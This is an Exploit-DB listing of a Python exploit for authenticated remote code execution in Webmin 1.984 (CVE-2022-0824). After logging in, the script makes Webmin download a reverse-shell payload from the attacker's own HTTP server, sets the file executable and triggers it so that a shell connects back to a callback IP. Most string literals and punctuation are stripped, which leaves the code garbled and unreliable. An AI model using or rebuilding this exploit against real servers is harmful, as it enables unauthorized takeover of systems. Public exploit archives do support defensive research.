标题: Webmin 1.984 - Remote Code Execution (Authenticated) EDB-ID: 50809 CVE: 2022-0824 类型: WEBAPPS 平台: LINUX 发布日期: 2022-03-09 漏洞利用脚本: # Exploit Title: Webmin 1.984 - Remote Code Execution (Authenticated)
# Date: 2022-03-06
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://www.webmin.com/
# Software Link: https://github.com/webmin/webmin/archive/refs/tags/1.984.zip
# Version: <= 1.984
# Tested on: Ubuntu 18
# Reference: https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell


#!/usr/bin/python3

"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/
""" 

 requests
 urllib3
 argparse
 os
 time

urllib3disable_warningsurllib3exceptionsInsecureRequestWarning

TGREEN   
TRED    
TCYAN    
TSHELL    
ENDC  

 
     self target username password py3http_server pyhttp_port upload_path callback_ip callback_port fname
        selftarget  target
        selfusername  username
        selfpassword  password
        selfpy3http_server  py3http_server
        selfpyhttp_port  pyhttp_port
        selfupload_path  upload_path
        selfcallback_ip  callback_ip
        selfcallback_port  callback_port
        selffname  fname

        
        selfs  requestsSession


     self
        payload    selfcallback_ip     selfcallback_port  
        TCYAN  f ENDC
        f  f 
        fwritepayload
        fclose

     self
        login_url  selftarget  
        cookies         

        data     selfusername   selfpassword 
        
            r  selfspostlogin_url datadata cookiescookies verify allow_redirects timeout
            success_message  
             success_message  rtext
                TGREEN   ENDC
            
                TRED  ENDC
                exit

         requestsTimeout  e
            TRED  f ENDC
            exit

     self
        f
        ossystemf 
        
        timesleep 

     self
        download_url  selftarget  
        headers   
                      
                      
                      
                      
                     selftarget   
        

        data   
                   selfpy3http_server    selffname 
                  
                  
                 selfupload_path 
        

        r  selfspostdownload_url datadata headersheaders verify allow_redirects
        f

     self
        modify_perm_url  selftarget  
        headers    selftarget   
        data    selffname      selfupload_path 
       
        r  selfspostmodify_perm_url datadata headersheaders verify allow_redirects
        f

     self
        url  selftarget    selffname
        
            r  selfsgeturl verify allow_redirects timeout
         requestsTimeout  e 
            TGREEN  f ENDC
              url
        
            TRED  f ENDC

     self
        TCYAN  
        f
        ossystemf
        exit

     self
        selfgen_payload
        selflogin
        selfpyhttp_server
        selfdownload_remote_url
        selfmodify_permission
        selfexec_revshell
        selfdo_cleanup


 __name__  

    parser  argparseArgumentParserdescription
    parseradd_argument   required 
    parseradd_argument   required 
    parseradd_argument   required 
    parseradd_argument   required 
    parseradd_argument   required 
    parseradd_argument action version
    args  parserparse_args

    target  argstarget
    username  argscredentialsplit
    password  argscredentialsplit
    py3http_server  argspy3http_server
    pyhttp_port  py3http_serversplit
    callback_ip  argscallback_ip
    callback_port  argscallback_port
    upload_path   
    fname   

    pwn  Exploittarget username password py3http_server pyhttp_port upload_path callback_ip callback_port fname
    pwnrun URL: https://www.exploit-db.com/exploits/50809